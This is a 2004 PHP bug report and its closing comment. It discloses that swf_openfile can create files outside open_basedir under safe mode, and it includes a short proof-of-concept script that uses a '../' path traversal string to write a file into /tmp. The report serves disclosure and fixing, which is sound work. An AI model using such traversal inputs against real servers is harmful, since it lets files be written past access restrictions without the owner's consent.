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Bug #31270 SWF: Safe-mode can be bypassed
Submitted: 2004-12-23 15:23 UTC Modified: 2005-01-31 23:34 UTC
From: davidl at ngssoftware dot com Assigned:
Status: Closed Package: Safe Mode/open_basedir
PHP Version: 4.3.10 OS: Redhat Linux
Private report: No CVE-ID: None
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From: davidl at ngssoftware dot com
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 [2004-12-23 15:23 UTC] davidl at ngssoftware dot com 
Description:
------------
The swf_openfile function can be used to create files outside of open_basedir when safe mode is enabled.


Reproduce code:
---------------
<?php
swf_openfile("/../../../../../../../../../../../../../../tmp/testswf.txt", 256, 256, 30, 1, 1, 1);
swf_closefile();
?> 


Expected result:
----------------
a file called testswf.txt will be created in /tmp

Actual result:
--------------
a file called testswf.txt will be created in /tmp

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AllCommentsChangesGit/SVN commitsRelated reports
 [2004-12-23 19:04 UTC] iliaa@php.net 
This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
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